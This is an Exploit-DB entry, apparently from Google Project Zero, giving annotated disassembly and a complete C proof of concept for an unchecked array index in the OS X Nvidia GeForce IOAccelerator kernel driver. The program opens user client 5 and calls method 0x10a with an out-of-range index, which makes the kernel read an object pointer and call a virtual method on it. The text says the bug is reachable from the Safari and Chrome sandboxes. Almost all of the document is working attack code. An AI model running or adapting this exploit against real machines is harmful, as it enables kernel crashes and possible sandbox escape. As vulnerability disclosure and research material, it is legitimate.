Exploit-DB #39615
Description: Apple Mac OSX Kernel - Unchecked Array Index Used to Read Object Pointer Then Call Virtual Method in Nvidia Geforce Driver
Type: dos
Platform: osx
Date: 2016-03-23
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=709

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:[PII_REDACTED]01BCD2                 mov     r14d, esi
  ...
__text:[PII_REDACTED]01BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:[PII_REDACTED]01BD0F                 mov     rax, [r15+168h]
__text:[PII_REDACTED]01BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:[PII_REDACTED]01BD1A                 test    rdi, rdi
__text:[PII_REDACTED]01BD1D                 jz      short loc_1BD2C
__text:[PII_REDACTED]01BD1F                 mov     rax, [rdi]          <-- read vtable
__text:[PII_REDACTED]01BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

//ianbeer

// build: clang -o nv_oob nv_oob.c -framework IOKit
// tested on MacBookPro 10,1  w/10.11.3 (15D21) - if you test on machine with a different graphics setup then make you open the correct user client :)

/*
OS X Kernel unchecked array index used to read object pointer then call virtual method in nvdia geforce driver

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:[PII_REDACTED]01BCD2                 mov     r14d, esi
  ...
__text:[PII_REDACTED]01BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:[PII_REDACTED]01BD0F                 mov     rax, [r15+168h]
__text:[PII_REDACTED]01BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:[PII_REDACTED]01BD1A                 test    rdi, rdi
__text:[PII_REDACTED]01BD1D                 jz      short loc_1BD2C
__text:[PII_REDACTED]01BD1F                 mov     rax, [rdi]          <-- read vtable
__text:[PII_REDACTED]01BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t release_device_texture(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 1;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputScalar[0] = 0x0f0f0f0f;

  err = IOConnectCallMethod(
   conn,
   0x10a,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}



int main(int argc, char** argv){
  mach_port_t gl_context = get_user_client("IOAccelerator", 5);
  release_device_texture(gl_context);
  return 0;

}